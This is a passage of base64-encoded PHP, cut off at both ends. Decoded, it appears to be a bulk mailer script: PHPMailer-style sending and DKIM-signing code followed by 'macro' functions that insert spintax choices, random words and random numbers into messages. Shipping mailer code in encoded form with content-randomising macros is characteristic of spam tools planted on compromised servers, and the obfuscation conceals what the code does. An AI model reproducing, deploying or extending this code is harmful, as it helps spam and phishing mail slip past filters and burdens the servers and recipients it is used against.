lzLT5DdXN0b21IZWFkZXIgPSBhcnJheSgpOwogIH0KCiAgcHJvdGVjdGVkIGZ1bmN0aW9uIFNldEVycm9yKCRtc2cpIHsKICAgICR0aGlzLT5lcnJvcl9jb3VudCsrOwogICAgaWYgKCR0aGlzLT5NYWlsZXIgPT0gJ3NtdHAnIGFuZCAhaXNfbnVsbCgkdGhpcy0+c210cCkpIHsKICAgICAgJGxhc3RlcnJvciA9ICR0aGlzLT5zbXRwLT5nZXRFcnJvcigpOwogICAgICBpZiAoIWVtcHR5KCRsYXN0ZXJyb3IpIGFuZCBhcnJheV9rZXlfZXhpc3RzKCdzbXRwX21zZycsICRsYXN0ZXJyb3IpKSB7CiAgICAgICAgJG1zZyAuPSAnPHA+JyAuICR0aGlzLT5MYW5nKCdzbXRwX2Vycm9yJykgLiAkbGFzdGVycm9yWydzbXRwX21zZyddIC4gIjwvcD5cbiI7CiAgICAgIH0KICAgIH0KICAgICR0aGlzLT5FcnJvckluZm8gPSAkbXNnOwogIH0KCiAgcHVibGljIHN0YXRpYyBmdW5jdGlvbiBSRkNEYXRlKCkgewogICAgZGF0ZV9kZWZhdWx0X3RpbWV6b25lX3NldChAZGF0ZV9kZWZhdWx0X3RpbWV6b25lX2dldCgpKTsKICAgIHJldHVybiBkYXRlKCdELCBqIE0gWSBIOmk6cyBPJyk7CiAgfQoKICBwcm90ZWN0ZWQgZnVuY3Rpb24gU2VydmVySG9zdG5hbWUoKSB7CiAgICBpZiAoIWVtcHR5KCR0aGlzLT5Ib3N0bmFtZSkpIHsKICAgICAgJHJlc3VsdCA9ICR0aGlzLT5Ib3N0bmFtZTsKICAgIH0gZWxzZWlmIChpc3NldCgkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSkpIHsKICAgICAgJHJlc3VsdCA9ICRfU0VSVkVSWydTRVJWRVJfTkFNRSddOwogICAgfSBlbHNlIHsKICAgICAgJHJlc3VsdCA9ICdsb2NhbGhvc3QubG9jYWxkb21haW4nOwogICAgfQoKICAgIHJldHVybiAkcmVzdWx0OwogIH0KCiAgcHJvdGVjdGVkIGZ1bmN0aW9uIExhbmcoJGtleSkgewogICAgaWYoY291bnQoJHRoaXMtPmxhbmd1YWdlKSA8IDEpIHsKICAgICAgJHRoaXMtPlNldExhbmd1YWdlKCdlbicpOyAvLyBzZXQgdGhlIGRlZmF1bHQgbGFuZ3VhZ2UKICAgIH0KCiAgICBpZihpc3NldCgkdGhpcy0+bGFuZ3VhZ2VbJGtleV0pKSB7CiAgICAgIHJldHVybiAkdGhpcy0+bGFuZ3VhZ2VbJGtleV07CiAgICB9IGVsc2UgewogICAgICByZXR1cm4gJ0xhbmd1YWdlIHN0cmluZyBmYWlsZWQgdG8gbG9hZDogJyAuICRrZXk7CiAgICB9CiAgfQoKICBwdWJsaWMgZnVuY3Rpb24gSXNFcnJvcigpIHsKICAgIHJldHVybiAoJHRoaXMtPmVycm9yX2NvdW50ID4gMCk7CiAgfQoKICBwdWJsaWMgZnVuY3Rpb24gRml4RU9MKCRzdHIpIHsKCSRuc3RyID0gc3RyX3JlcGxhY2UoYXJyYXkoIlxyXG4iLCAiXHIiKSwgIlxuIiwgJHN0cik7CglpZiAoJHRoaXMtPkxFICE9PSAiXG4iKSB7CgkJJG5zdHIgPSBzdHJfcmVwbGFjZSgiXG4iLCAkdGhpcy0+TEUsICRuc3RyKTsKCX0KICAgIHJldHVybiAgJG5zdHI7CiAgfQoKICBwdWJsaWMgZnVuY3Rpb24gQWRkQ3VzdG9tSGVhZGVyKCRuYW1lLCAkdmFsdWU9bnVsbCkgewoJaWYgKCR2YWx1ZSA9PT0gbnVsbCkgewoJCSR0aGlzLT5DdXN0b21IZWFkZXJbXSA9IGV4cGxvZGUoJzonLCAkbmFtZSwgMik7Cgl9IGVsc2UgewoJCSR0aGlzLT5DdXN0b21IZWFkZXJbXSA9IGFycmF5KCRuYW1lLCAkdmFsdWUpOwoJfQogIH0KCiAgcHVibGljIGZ1bmN0aW9uIE1zZ0hUTUwoJG1lc3NhZ2UsICRiYXNlZGlyID0gJycsICRhZHZhbmNlZCA9IGZhbHNlKSB7CiAgICBwcmVnX21hdGNoX2FsbCgiLyhzcmN8YmFja2dyb3VuZCk9W1wiJ10oLiopW1wiJ10vVWkiLCAkbWVzc2FnZSwgJGltYWdlcyk7CiAgICBpZiAoaXNzZXQoJGltYWdlc1syXSkpIHsKICAgICAgZm9yZWFjaCAoJGltYWdlc1syXSBhcyAkaSA9PiAkdXJsKSB7CiAgICAgICAgLy8gZG8gbm90IGNoYW5nZSB1cmxzIGZvciBhYnNvbHV0ZSBpbWFnZXMgKHRoYW5rcyB0byBjb3J2dXNjb3JheCkKICAgICAgICBpZiAoIXByZWdfbWF0Y2goJyNeW0Etel0rOi8vIycsICR1cmwpKSB7CiAgICAgICAgICAkZmlsZW5hbWUgPSBiYXNlbmFtZSgkdXJsKTsKICAgICAgICAgICRkaXJlY3RvcnkgPSBkaXJuYW1lKCR1cmwpOwogICAgICAgICAgaWYgKCRkaXJlY3RvcnkgPT0gJy4nKSB7CiAgICAgICAgICAgICRkaXJlY3RvcnkgPSAnJzsKICAgICAgICAgIH0KICAgICAgICAgICRjaWQgPSBtZDUoJHVybCkuJ0BwaHBtYWlsZXIuMCc7IC8vUkZDMjM5MiBTIDIKICAgICAgICAgIGlmIChzdHJsZW4oJGJhc2VkaXIpID4gMSAmJiBzdWJzdHIoJGJhc2VkaXIsIC0xKSAhPSAnLycpIHsKICAgICAgICAgICAgJGJhc2VkaXIgLj0gJy8nOwogICAgICAgICAgfQogICAgICAgICAgaWYgKHN0cmxlbigkZGlyZWN0b3J5KSA+IDEgJiYgc3Vic3RyKCRkaXJlY3RvcnksIC0xKSAhPSAnLycpIHsKICAgICAgICAgICAgJGRpcmVjdG9yeSAuPSAnLyc7CiAgICAgICAgICB9CiAgICAgICAgICBpZiAoJHRoaXMtPkFkZEVtYmVkZGVkSW1hZ2UoJGJhc2VkaXIuJGRpcmVjdG9yeS4kZmlsZW5hbWUsICRjaWQsICRmaWxlbmFtZSwgJ2Jhc2U2NCcsIHNlbGY6Ol9taW1lX3R5cGVzKHNlbGY6Om1iX3BhdGhpbmZvKCRmaWxlbmFtZSwgUEFUSElORk9fRVhURU5TSU9OKSkpKSB7CiAgICAgICAgICAgICRtZXNzYWdlID0gcHJlZ19yZXBsYWNlKCIvIi4kaW1hZ2VzWzFdWyRpXS4iPVtcIiddIi5wcmVnX3F1b3RlKCR1cmwsICcvJykuIltcIiddL1VpIiwgJGltYWdlc1sxXVskaV0uIj1cImNpZDoiLiRjaWQuIlwiIiwgJG1lc3NhZ2UpOwogICAgICAgICAgfQogICAgICAgIH0KICAgICAgfQogICAgfQogICAgJHRoaXMtPklzSFRNTCh0cnVlKTsKICAgIGlmIChlbXB0eSgkdGhpcy0+QWx0Qm9keSkpIHsKICAgICAgJHRoaXMtPkFsdEJvZHkgPSAnVG8gdmlldyB0aGlzIGVtYWlsIG1lc3NhZ2UsIG9wZW4gaXQgaW4gYSBwcm9ncmFtIHRoYXQgdW5kZXJzdGFuZHMgSFRNTCEnIC4gIlxuXG4iOwogICAgfQogICAgJHRoaXMtPkJvZHkgPSAkdGhpcy0+Tm9ybWFsaXplQnJlYWtzKCRtZXNzYWdlKTsKICAgICR0aGlzLT5BbHRCb2R5ID0gJHRoaXMtPk5vcm1hbGl6ZUJyZWFrcygkdGhpcy0+aHRtbDJ0ZXh0KCRtZXNzYWdlLCAkYWR2YW5jZWQpKTsKICAgIHJldHVybiAkdGhpcy0+Qm9keTsKICB9CgogIHB1YmxpYyBmdW5jdGlvbiBodG1sMnRleHQoJGh0bWwsICRhZHZhbmNlZCA9IGZhbHNlKSB7CiAgICBpZiAoJGFkdmFuY2VkKSB7CiAgICAgIC8vcmVxdWlyZV9vbmNlICdleHRyYXMvY2xhc3MuaHRtbDJ0ZXh0LnBocCc7CiAgICAgICRoID0gbmV3IGh0bWwydGV4dCgkaHRtbCk7CiAgICAgIHJldHVybiAkaC0+Z2V0X3RleHQoKTsKICAgIH0KICAgIHJldHVybiBodG1sX2VudGl0eV9kZWNvZGUodHJpbShjdXN0b21fc3RyaXBfdGFncyhwcmVnX3JlcGxhY2UoJy88KGhlYWR8dGl0bGV8c3R5bGV8c2NyaXB0KVtePl0qPi4qPzxcL1xcMT4vc2knLCAnJywgJGh0bWwpKSksIEVOVF9RVU9URVMsICR0aGlzLT5DaGFyU2V0KTsKICB9CgogIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gX21pbWVfdHlwZXMoJGV4dCA9ICcnKSB7CiAgICAkbWltZXMgPSBhcnJheSgKICAgICAgJ3ppcCcgICA9PiAgJ2FwcGxpY2F0aW9uL3ppcCcsCiAgICApOwogICAgcmV0dXJuICghaXNzZXQoJG1pbWVzW3N0cnRvbG93ZXIoJGV4dCldKSkgPyAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJyA6ICRtaW1lc1tzdHJ0b2xvd2VyKCRleHQpXTsKICB9CgogIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZmlsZW5hbWVUb1R5cGUoJGZpbGVuYW1lKSB7CiAgICAkcXBvcyA9IHN0cnBvcygkZmlsZW5hbWUsICc/Jyk7CiAgICBpZiAoJHFwb3MgIT09IGZhbHNlKSB7CiAgICAgICRmaWxlbmFtZSA9IHN1YnN0cigkZmlsZW5hbWUsIDAsICRxcG9zKTsKICAgIH0KICAgICRwYXRoaW5mbyA9IHNlbGY6Om1iX3BhdGhpbmZvKCRmaWxlbmFtZSk7CiAgICByZXR1cm4gc2VsZjo6X21pbWVfdHlwZXMoJHBhdGhpbmZvWydleHRlbnNpb24nXSk7CiAgfQoKICBwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIG1iX3BhdGhpbmZvKCRwYXRoLCAkb3B0aW9ucyA9IG51bGwpIHsKICAgICRyZXQgPSBhcnJheSgnZGlybmFtZScgPT4gJycsICdiYXNlbmFtZScgPT4gJycsICdleHRlbnNpb24nID0+ICcnLCAnZmlsZW5hbWUnID0+ICcnKTsKICAgICRtID0gYXJyYXkoKTsKICAgIHByZWdfbWF0Y2goJyVeKC4qPylbXFxcXC9dKigoW14vXFxcXF0qPykoXC4oW15cLlxcXFwvXSs/KXwpKVtcXFxcL1wuXSokJWltJywgJHBhdGgsICRtKTsKICAgIGlmKGFycmF5X2tleV9leGlzdHMoMSwgJG0pKSB7CiAgICAgICRyZXRbJ2Rpcm5hbWUnXSA9ICRtWzFdOwogICAgfQogICAgaWYoYXJyYXlfa2V5X2V4aXN0cygyLCAkbSkpIHsKICAgICAgJHJldFsnYmFzZW5hbWUnXSA9ICRtWzJdOwogICAgfQogICAgaWYoYXJyYXlfa2V5X2V4aXN0cyg1LCAkbSkpIHsKICAgICAgJHJldFsnZXh0ZW5zaW9uJ10gPSAkbVs1XTsKICAgIH0KICAgIGlmKGFycmF5X2tleV9leGlzdHMoMywgJG0pKSB7CiAgICAgICRyZXRbJ2ZpbGVuYW1lJ10gPSAkbVszXTsKICAgIH0KICAgIHN3aXRjaCgkb3B0aW9ucykgewogICAgICBjYXNlIFBBVEhJTkZPX0RJUk5BTUU6CiAgICAgIGNhc2UgJ2Rpcm5hbWUnOgogICAgICAgIHJldHVybiAkcmV0WydkaXJuYW1lJ107CiAgICAgICAgYnJlYWs7CiAgICAgIGNhc2UgUEFUSElORk9fQkFTRU5BTUU6CiAgICAgIGNhc2UgJ2Jhc2VuYW1lJzoKICAgICAgICByZXR1cm4gJHJldFsnYmFzZW5hbWUnXTsKICAgICAgICBicmVhazsKICAgICAgY2FzZSBQQVRISU5GT19FWFRFTlNJT046CiAgICAgIGNhc2UgJ2V4dGVuc2lvbic6CiAgICAgICAgcmV0dXJuICRyZXRbJ2V4dGVuc2lvbiddOwogICAgICAgIGJyZWFrOwogICAgICBjYXNlIFBBVEhJTkZPX0ZJTEVOQU1FOgogICAgICBjYXNlICdmaWxlbmFtZSc6CiAgICAgICAgcmV0dXJuICRyZXRbJ2ZpbGVuYW1lJ107CiAgICAgICAgYnJlYWs7CiAgICAgIGRlZmF1bHQ6CiAgICAgICAgcmV0dXJuICRyZXQ7CiAgICB9CiAgfQoKICBwdWJsaWMgZnVuY3Rpb24gc2V0KCRuYW1lLCAkdmFsdWUgPSAnJykgewogICAgdHJ5IHsKICAgICAgaWYgKGlzc2V0KCR0aGlzLT4kbmFtZSkgKSB7CiAgICAgICAgJHRoaXMtPiRuYW1lID0gJHZhbHVlOwogICAgICB9IGVsc2UgewogICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPkxhbmcoJ3ZhcmlhYmxlX3NldCcpIC4gJG5hbWUsIHNlbGY6OlNUT1BfQ1JJVElDQUwpOwogICAgICB9CiAgICB9IGNhdGNoIChFeGNlcHRpb24gJGUpIHsKICAgICAgJHRoaXMtPlNldEVycm9yKCRlLT5nZXRNZXNzYWdlKCkpOwogICAgICBpZiAoJGUtPmdldENvZGUoKSA9PSBzZWxmOjpTVE9QX0NSSVRJQ0FMKSB7CiAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICB9CiAgICB9CiAgICByZXR1cm4gdHJ1ZTsKICB9CgogIHB1YmxpYyBmdW5jdGlvbiBTZWN1cmVIZWFkZXIoJHN0cikgewogICAgcmV0dXJuIHRyaW0oc3RyX3JlcGxhY2UoYXJyYXkoIlxyIiwgIlxuIiksICcnLCAkc3RyKSk7CiAgfQoKICBwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIE5vcm1hbGl6ZUJyZWFrcygkdGV4dCwgJGJyZWFrdHlwZSA9ICJcclxuIikgewogICAgcmV0dXJuIHByZWdfcmVwbGFjZSgnLyhcclxufFxyfFxuKS9tcycsICRicmVha3R5cGUsICR0ZXh0KTsKICB9CgogIHB1YmxpYyBmdW5jdGlvbiBTaWduKCRjZXJ0X2ZpbGVuYW1lLCAka2V5X2ZpbGVuYW1lLCAka2V5X3Bhc3MpIHsKICAgICR0aGlzLT5zaWduX2NlcnRfZmlsZSA9ICRjZXJ0X2ZpbGVuYW1lOwogICAgJHRoaXMtPnNpZ25fa2V5X2ZpbGUgPSAka2V5X2ZpbGVuYW1lOwogICAgJHRoaXMtPnNpZ25fa2V5X3Bhc3MgPSAka2V5X3Bhc3M7CiAgfQoKICBwdWJsaWMgZnVuY3Rpb24gREtJTV9RUCgkdHh0KSB7CiAgICAkbGluZSA9ICcnOwogICAgZm9yICgkaSA9IDA7ICRpIDwgc3RybGVuKCR0eHQpOyAkaSsrKSB7CiAgICAgICRvcmQgPSBvcmQoJHR4dFskaV0pOwogICAgICBpZiAoICgoMHgyMSA8PSAkb3JkKSAmJiAoJG9yZCA8PSAweDNBKSkgfHwgJG9yZCA9PSAweDNDIHx8ICgoMHgzRSA8PSAkb3JkKSAmJiAoJG9yZCA8PSAweDdFKSkgKSB7CiAgICAgICAgJGxpbmUgLj0gJHR4dFskaV07CiAgICAgIH0gZWxzZSB7CiAgICAgICAgJGxpbmUgLj0gIj0iLnNwcmludGYoIiUwMlgiLCAkb3JkKTsKICAgICAgfQogICAgfQogICAgcmV0dXJuICRsaW5lOwogIH0KCiAgcHVibGljIGZ1bmN0aW9uIERLSU1fU2lnbigkcykgewogICAgaWYgKCFkZWZpbmVkKCdQS0NTN19URVhUJykpIHsKICAgICAgICBpZiAoJHRoaXMtPmV4Y2VwdGlvbnMpIHsKICAgICAgICAgICAgdGhyb3cgbmV3IHBocG1haWxlckV4Y2VwdGlvbigkdGhpcy0+TGFuZygic2lnbmluZyIpLicgT3BlblNTTCBleHRlbnNpb24gbWlzc2luZy4nKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuICcnOwogICAgfQogICAgJHByaXZLZXlTdHIgPSBmaWxlX2dldF9jb250ZW50cygkdGhpcy0+REtJTV9wcml2YXRlKTsKICAgIGlmICgkdGhpcy0+REtJTV9wYXNzcGhyYXNlICE9ICcnKSB7CiAgICAgICRwcml2S2V5ID0gb3BlbnNzbF9wa2V5X2dldF9wcml2YXRlKCRwcml2S2V5U3RyLCAkdGhpcy0+REtJTV9wYXNzcGhyYXNlKTsKICAgIH0gZWxzZSB7CiAgICAgICRwcml2S2V5ID0gJHByaXZLZXlTdHI7CiAgICB9CiAgICBpZiAob3BlbnNzbF9zaWduKCRzLCAkc2lnbmF0dXJlLCAkcHJpdktleSkpIHsKICAgICAgcmV0dXJuIGJhc2U2NF9lbmNvZGUoJHNpZ25hdHVyZSk7CiAgICB9CiAgICByZXR1cm4gJyc7CiAgfQoKICBwdWJsaWMgZnVuY3Rpb24gREtJTV9IZWFkZXJDKCRzKSB7CiAgICAkcyA9IHByZWdfcmVwbGFjZSgiL1xyXG5ccysvIiwgIiAiLCAkcyk7CiAgICAkbGluZXMgPSBleHBsb2RlKCJcclxuIiwgJHMpOwogICAgZm9yZWFjaCAoJGxpbmVzIGFzICRrZXkgPT4gJGxpbmUpIHsKICAgICAgbGlzdCgkaGVhZGluZywgJHZhbHVlKSA9IGV4cGxvZGUoIjoiLCAkbGluZSwgMik7CiAgICAgICRoZWFkaW5nID0gc3RydG9sb3dlcigkaGVhZGluZyk7CiAgICAgICR2YWx1ZSA9IHByZWdfcmVwbGFjZSgiL1xzKy8iLCAiICIsICR2YWx1ZSkgOyAvLyBDb21wcmVzcyB1c2VsZXNzIHNwYWNlcwogICAgICAkbGluZXNbJGtleV0gPSAkaGVhZGluZy4iOiIudHJpbSgkdmFsdWUpIDsgLy8gRG9uJ3QgZm9yZ2V0IHRvIHJlbW92ZSBXU1AgYXJvdW5kIHRoZSB2YWx1ZQogICAgfQogICAgJHMgPSBpbXBsb2RlKCJcclxuIiwgJGxpbmVzKTsKICAgIHJldHVybiAkczsKICB9CgogIHB1YmxpYyBmdW5jdGlvbiBES0lNX0JvZHlDKCRib2R5KSB7CiAgICBpZiAoJGJvZHkgPT0gJycpIHJldHVybiAiXHJcbiI7CiAgICAkYm9keSA9IHN0cl9yZXBsYWNlKCJcclxuIiwgIlxuIiwgJGJvZHkpOwogICAgJGJvZHkgPSBzdHJfcmVwbGFjZSgiXG4iLCAiXHJcbiIsICRib2R5KTsKICAgIHdoaWxlIChzdWJzdHIoJGJvZHksIHN0cmxlbigkYm9keSkgLSA0LCA0KSA9PSAiXHJcblxyXG4iKSB7CiAgICAgICRib2R5ID0gc3Vic3RyKCRib2R5LCAwLCBzdHJsZW4oJGJvZHkpIC0gMik7CiAgICB9CiAgICByZXR1cm4gJGJvZHk7CiAgfQoKICBwdWJsaWMgZnVuY3Rpb24gREtJTV9BZGQoJGhlYWRlcnNfbGluZSwgJHN1YmplY3QsICRib2R5KSB7CiAgICAkREtJTXNpZ25hdHVyZVR5cGUgICAgPSAncnNhLXNoYTEnOyAvLyBTaWduYXR1cmUgJiBoYXNoIGFsZ29yaXRobXMKICAgICRES0lNY2Fub25pY2FsaXphdGlvbiA9ICdyZWxheGVkL3NpbXBsZSc7IC8vIENhbm9uaWNhbGl6YXRpb24gb2YgaGVhZGVyL2JvZHkKICAgICRES0lNcXVlcnkgICAgICAgICAgICA9ICdkbnMvdHh0JzsgLy8gUXVlcnkgbWV0aG9kCiAgICAkREtJTXRpbWUgICAgICAgICAgICAgPSB0aW1lKCkgOyAvLyBTaWduYXR1cmUgVGltZXN0YW1wID0gc2Vjb25kcyBzaW5jZSAwMDowMDowMCAtIEphbiAxLCAxOTcwIChVVEMgdGltZSB6b25lKQogICAgJHN1YmplY3RfaGVhZGVyICAgICAgID0gIlN1YmplY3Q6ICRzdWJqZWN0IjsKICAgICRoZWFkZXJzICAgICAgICAgICAgICA9IGV4cGxvZGUoJHRoaXMtPkxFLCAkaGVhZGVyc19saW5lKTsKICAgICRmcm9tX2hlYWRlciAgICAgICAgICA9ICcnOwogICAgJHRvX2hlYWRlciAgICAgICAgICAgID0gJyc7CiAgICAkY3VycmVudCA9ICcnOwogICAgZm9yZWFjaCgkaGVhZGVycyBhcyAkaGVhZGVyKSB7CiAgICAgIGlmIChzdHJwb3MoJGhlYWRlciwgJ0Zyb206JykgPT09IDApIHsKICAgICAgICAkZnJvbV9oZWFkZXIgPSAkaGVhZGVyOwogICAgICAgICRjdXJyZW50ID0gJ2Zyb21faGVhZGVyJzsKICAgICAgfSBlbHNlaWYgKHN0cnBvcygkaGVhZGVyLCAnVG86JykgPT09IDApIHsKICAgICAgICAkdG9faGVhZGVyID0gJGhlYWRlcjsKICAgICAgICAkY3VycmVudCA9ICd0b19oZWFkZXInOwogICAgICB9IGVsc2UgewogICAgICAgIGlmKCRjdXJyZW50ICYmIHN0cnBvcygkaGVhZGVyLCAnID0/JykgPT09IDApewogICAgICAgICAgJGN1cnJlbnQgLj0gJGhlYWRlcjsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgJGN1cnJlbnQgPSAnJzsKICAgICAgICB9CiAgICAgIH0KICAgIH0KICAgICRmcm9tICAgICA9IHN0cl9yZXBsYWNlKCd8JywgJz03QycsICR0aGlzLT5ES0lNX1FQKCRmcm9tX2hlYWRlcikpOwogICAgJHRvICAgICAgID0gc3RyX3JlcGxhY2UoJ3wnLCAnPTdDJywgJHRoaXMtPkRLSU1fUVAoJHRvX2hlYWRlcikpOwogICAgJHN1YmplY3QgID0gc3RyX3JlcGxhY2UoJ3wnLCAnPTdDJywgJHRoaXMtPkRLSU1fUVAoJHN1YmplY3RfaGVhZGVyKSkgOyAvLyBDb3BpZWQgaGVhZGVyIGZpZWxkcyAoZGtpbS1xdW90ZWQtcHJpbnRhYmxlCiAgICAkYm9keSAgICAgPSAkdGhpcy0+REtJTV9Cb2R5QygkYm9keSk7CiAgICAkREtJTWxlbiAgPSBzdHJsZW4oJGJvZHkpIDsgLy8gTGVuZ3RoIG9mIGJvZHkKICAgICRES0lNYjY0ICA9IGJhc2U2NF9lbmNvZGUocGFjaygiSCoiLCBzaGExKCRib2R5KSkpIDsgLy8gQmFzZTY0IG9mIHBhY2tlZCBiaW5hcnkgU0hBLTEgaGFzaCBvZiBib2R5CiAgICAkaWRlbnQgICAgPSAoJHRoaXMtPkRLSU1faWRlbnRpdHkgPT0gJycpPyAnJyA6ICIgaT0iIC4gJHRoaXMtPkRLSU1faWRlbnRpdHkgLiAiOyI7CiAgICAkZGtpbWhkcnMgPSAiREtJTS1TaWduYXR1cmU6IHY9MTsgYT0iIC4gJERLSU1zaWduYXR1cmVUeXBlIC4gIjsgcT0iIC4gJERLSU1xdWVyeSAuICI7IGw9IiAuICRES0lNbGVuIC4gIjsgcz0iIC4gJHRoaXMtPkRLSU1fc2VsZWN0b3IgLiAiO1xyXG4iLgogICAgICAgICAgICAgICAgIlx0dD0iIC4gJERLSU10aW1lIC4gIjsgYz0iIC4gJERLSU1jYW5vbmljYWxpemF0aW9uIC4gIjtcclxuIi4KICAgICAgICAgICAgICAgICJcdGg9RnJvbTpUbzpTdWJqZWN0O1xyXG4iLgogICAgICAgICAgICAgICAgIlx0ZD0iIC4gJHRoaXMtPkRLSU1fZG9tYWluIC4gIjsiIC4gJGlkZW50IC4gIlxyXG4iLgogICAgICAgICAgICAgICAgIlx0ej0kZnJvbVxyXG4iLgogICAgICAgICAgICAgICAgIlx0fCR0b1xyXG4iLgogICAgICAgICAgICAgICAgIlx0fCRzdWJqZWN0O1xyXG4iLgogICAgICAgICAgICAgICAgIlx0Ymg9IiAuICRES0lNYjY0IC4gIjtcclxuIi4KICAgICAgICAgICAgICAgICJcdGI9IjsKICAgICR0b1NpZ24gICA9ICR0aGlzLT5ES0lNX0hlYWRlckMoJGZyb21faGVhZGVyIC4gIlxyXG4iIC4gJHRvX2hlYWRlciAuICJcclxuIiAuICRzdWJqZWN0X2hlYWRlciAuICJcclxuIiAuICRka2ltaGRycyk7CiAgICAkc2lnbmVkICAgPSAkdGhpcy0+REtJTV9TaWduKCR0b1NpZ24pOwogICAgcmV0dXJuICRka2ltaGRycy4kc2lnbmVkLiJcclxuIjsKICB9CgogIHByb3RlY3RlZCBmdW5jdGlvbiBkb0NhbGxiYWNrKCRpc1NlbnQsICR0bywgJGNjLCAkYmNjLCAkc3ViamVjdCwgJGJvZHksICRmcm9tID0gbnVsbCkgewogICAgaWYgKCFlbXB0eSgkdGhpcy0+YWN0aW9uX2Z1bmN0aW9uKSAmJiBpc19jYWxsYWJsZSgkdGhpcy0+YWN0aW9uX2Z1bmN0aW9uKSkgewogICAgICAkcGFyYW1zID0gYXJyYXkoJGlzU2VudCwgJHRvLCAkY2MsICRiY2MsICRzdWJqZWN0LCAkYm9keSwgJGZyb20pOwogICAgICBjYWxsX3VzZXJfZnVuY19hcnJheSgkdGhpcy0+YWN0aW9uX2Z1bmN0aW9uLCAkcGFyYW1zKTsKICAgIH0KICB9Cn0KCmNsYXNzIHBocG1haWxlckV4Y2VwdGlvbiBleHRlbmRzIEV4Y2VwdGlvbiB7CiAgcHVibGljIGZ1bmN0aW9uIGVycm9yTWVzc2FnZSgpIHsKICAgICRlcnJvck1zZyA9ICc8c3Ryb25nPicgLiAkdGhpcy0+Z2V0TWVzc2FnZSgpIC4gIjwvc3Ryb25nPjxiciAvPlxuIjsKICAgIHJldHVybiAkZXJyb3JNc2c7CiAgfQp9CgovLyBtYWNyb2NlcyAvLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8KCmZ1bmN0aW9uIGFsdGVyX21hY3JvcygkY29udGVudCkKewogICAgcHJlZ19tYXRjaF9hbGwoJyN7KC4qKX0jVWknLCAkY29udGVudCwgJG1hdGNoZXMpOwoKICAgIGZvcigkaSA9IDA7ICRpIDwgY291bnQoJG1hdGNoZXNbMV0pOyAkaSsrKQogICAgewoKICAgICAgICAkbnMgPSBleHBsb2RlKCJ8IiwgJG1hdGNoZXNbMV1bJGldKTsKICAgICAgICAkYzIgPSBjb3VudCgkbnMpOwogICAgICAgICRyYW5kID0gcmFuZCgwLCAoJGMyIC0gMSkpOwogICAgICAgICRjb250ZW50ID0gc3RyX3JlcGxhY2UoInsiLiRtYXRjaGVzWzFdWyRpXS4ifSIsICRuc1skcmFuZF0sICRjb250ZW50KTsKICAgIH0KICAgIHJldHVybiAkY29udGVudDsKfQoKZnVuY3Rpb24gdGV4dF9tYWNyb3MoJGNvbnRlbnQpCnsKICAgIHByZWdfbWF0Y2hfYWxsKCcjXFtURVhUXC0oW1s6ZGlnaXQ6XV0rKVwtKFtbOmRpZ2l0Ol1dKylcXSMnLCAkY29udGVudCwgJG1hdGNoZXMpOwoKICAgIGZvcigkaSA9IDA7ICRpIDwgY291bnQoJG1hdGNoZXNbMF0pOyAkaSsrKQogICAgewogICAgICAgICRtaW4gPSAkbWF0Y2hlc1sxXVskaV07CiAgICAgICAgJG1heCA9ICRtYXRjaGVzWzJdWyRpXTsKICAgICAgICAkcmFuZCA9IHJhbmQoJG1pbiwgJG1heCk7CiAgICAgICAgJHdvcmQgPSBnZW5lcmF0ZV93b3JkKCRyYW5kKTsKCiAgICAgICAgJGNvbnRlbnQgPSBwcmVnX3JlcGxhY2UoIi8iLnByZWdfcXVvdGUoJG1hdGNoZXNbMF1bJGldKS4iLyIsICR3b3JkLCAkY29udGVudCwgMSk7CiAgICB9CgogICAgcHJlZ19tYXRjaF9hbGwoJyNcW1RFWFRcLShbWzpkaWdpdDpdXSspXF0jJywgJGNvbnRlbnQsICRtYXRjaGVzKTsKCiAgICBmb3IoJGkgPSAwOyAkaSA8IGNvdW50KCRtYXRjaGVzWzBdKTsgJGkrKykKICAgIHsKICAgICAgICAkY291bnQgPSAkbWF0Y2hlc1sxXVskaV07CgogICAgICAgICR3b3JkICA9IGdlbmVyYXRlX3dvcmQoJGNvdW50KTsKCiAgICAgICAgJGNvbnRlbnQgPSBwcmVnX3JlcGxhY2UoIi8iLnByZWdfcXVvdGUoJG1hdGNoZXNbMF1bJGldKS4iLyIsICR3b3JkLCAkY29udGVudCwgMSk7CiAgICB9CgoKICAgIHJldHVybiAkY29udGVudDsKfQoKZnVuY3Rpb24geG51bV9tYWNyb3MoJGNvbnRlbnQpCnsKICAgIHByZWdfbWF0Y2hfYWxsKCcjXFtOVU1cLShbWzpkaWdpdDpdXSspXF0jJywgJGNvbnRlbnQsICRtYXRjaGVzKTsKCiAgICBmb3IoJGkgPSAwOyAkaSA8IGNvdW50KCRtYXRjaGVzWzBdKTsgJGkrKykKICAgIHsKICAgICAgICAkbnVtID0gJG1hdGNoZXNbMV1bJGldOwogICAgICAgICRtaW4gPSBwb3coMTAsICRudW0gLSAxKTsKICAgICAgICAkbWF4ID0gcG93KDEwLCAkbnVtKSAtIDE7CgogICAgICAgICRyYW5kID0gcmFuZCgkbWluLCAkbWF4KTsKICAgICAgICAkY29udGVudCA9IHN0cl9yZXBsYWNlKCRtYXRjaGVzWzBdWyRpXSwgJHJhbmQsICRjb250ZW50KTsKICAgIH0KICAgIHJldHVybiAkY29udGVudDsKfQoKZnVuY3Rpb24gbnVtX21hY3JvcygkY29udGVudCkKewogICAgcHJlZ19tYXRjaF9hbGwoJyNcW1JBTkRcLShbWzpkaWdpdDpdXSspXC0oW1s6ZGlnaXQ6XV0rKVxdIycsICRjb250ZW50LCAkbWF0Y2hlcyk7CgogICAgZm9yKCRpID0gMDsgJGkgPCBjb3VudCgkbWF0Y2hlc1swXSk7ICRpKyspCiAgICB7CiAgICAgICAgJG1pbiA9ICRtYXRjaGVzWzFdWyRpXTsKICAgICAgICAkbWF4ID0gJG1hdGNoZXNbMl1bJGldOwogICAgICAgICRyYW5kID0gcmFuZCgkbWluLCAkbWF4KTsKICAgICAgICAkY29udGVudCA9IHN0cl9yZXBsYWNlKCRtYXRjaGVzWzB